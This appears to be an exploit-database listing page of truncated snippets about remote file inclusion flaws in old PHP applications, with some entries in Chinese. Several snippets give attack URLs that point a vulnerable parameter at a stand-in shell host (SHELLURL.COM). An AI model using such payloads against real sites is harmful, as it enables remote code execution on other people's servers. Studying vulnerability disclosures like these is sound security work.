WEB//NEWS <= 1.4 (parser.php) Remote File Include Vulnerability

No description provided by source. ============================================================================================== webnews = v1.4 WNBASEDIR Remote File Inclusion Exploit =============================================================================================== Critical Level :...

PhotoPost <= 4.6 (PP_PATH) Remote File Include Vulnerability

No description provided by source. ==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.popphoto.com/...

Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability

No description provided by source. ================================================================= Voodoo chat 1.0RC1b = filepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://vochat.com/ | |...

PHP Comet-Server

Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...

PHPFullAnnu Home.Module.PHP远程文件包含漏洞

PHPFullAnnu是一款基于PHP的WEB应用程序。 PHPFullAnnu不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Home.Module.PHP'脚本对用户提交的'repmod'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 phpFullAnnu phpFullAnnu 5.1 http://pfa.netsliver.com/fr/actus.html http://www.example.com/Script...

Bingo News BP_ncom.PHP远程文件包含漏洞

BinGoPHP是一款基于PHP的WEB应用程序。 BinGoPHP不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'BPncom.PHP'脚本对用户提交的'bnrep'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 BinGoPHP BinGoPHP 3.01 http://bingophp.free.fr/ http://www.example.com/Script Path/bpncom.php?bnrep=http://SHELLURL.COM?...

Torbstoff News 4 (pfad) Remote File Inclusion Vulnerability

No description provided by source. ================================================================= Torbstoff News 4 = pfad Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://www.torbstoff.de | |...

Web3news PHPSECURITYADMIN_PATH变量远程文件包含漏洞

Web3news是一款开源的邮件和新闻组服务器。 Web3news处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 Web3news没有正确地验证security/include/class.security.php文件中对PHPSECURITYADMINPATH参数的输入，允许远程攻击者可以通过包含本地和外部资源的任意文件导致执行任意代码。成功的攻击要求打开了registerglobals。 Web3King Web3news = v0.95 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

YaBBSM 3.0.0 - Offline.php Remote File Inclusion

YaBBSM 3.0.0 - Offline.php Remote File Inclusion DESCRIPTION Remote file include vuln found by sZ oct 09, 2006 SOFTWARE Supermod 3.0 for yabb VENDOR URL http://www.supermod.org DORK YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE NOTES greetz to: neo-vortex, sk0tie, icez, Solano Colleg...

wikyblog.txt

============================================================================================== WikyBlog = v1.4 WNBASEDIR Remote File Inclusion Exploit =============================================================================================== Bug in :index.php Vlu Code :...

phponline &lt;= &#40;LangFile&#41; Remote File Inclusion Exploit

======================================================================= ======================= phponline = LangFile Remote File Inclusion Exploit ======================================================================= ======================== Bug in :index.php Vlu Code :...

WEB//NEWS <= 1.4 (parser.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== WEB//NEWS = 1.4 parser.php Remote File Include Vulnerability ===============================================================...

evoBB &lt;= v0.3 &#40;path&#41; Remote File Inclusion Exploit

============================================================================================== evoBB = v0.3 path Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...

BrudaGB 1.1 - &#039;/admin/index.php&#039; Remote File Inclusion

============================================================================================== BrudaGB ================================================================================================ Exploit : -------------------------------- http://sitename.com/Script...

Pie Cart Pro =&gt; &#40;Home_Path&#41; Remote File Inclusion Exploit

==================================================================== Pie Cart Pro = HomePath Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.doodlebabies.com/...

Pie Cart Pro (Home_Path) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ========================================================== Pie Cart Pro HomePath Remote File Include Vulnerability ==========================================================...

UNAK-CMS 1.5 - dirroot Remote File Inclusion

UNAK-CMS 1.5 - dirroot Remote File Inclusion ============================================================================================== UNAK-CMS = v1.5 dirroot Remote File Inclusion Exploit =============================================================================================== Critica...

PhotoPost 4.6 - PP_PATH Remote File Inclusion

PhotoPost 4.6 - PPPATH Remote File Inclusion ==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz...

magicnewspro.txt

==================================================================== Magic News Pro = 1.0.3 scriptpath Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.reamdaysoft.com...

Magic News Pro 1.0.3 - script_path Remote File Inclusion

Magic News Pro 1.0.3 - scriptpath Remote File Inclusion ==================================================================== Magic News Pro = 1.0.3 scriptpath Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi...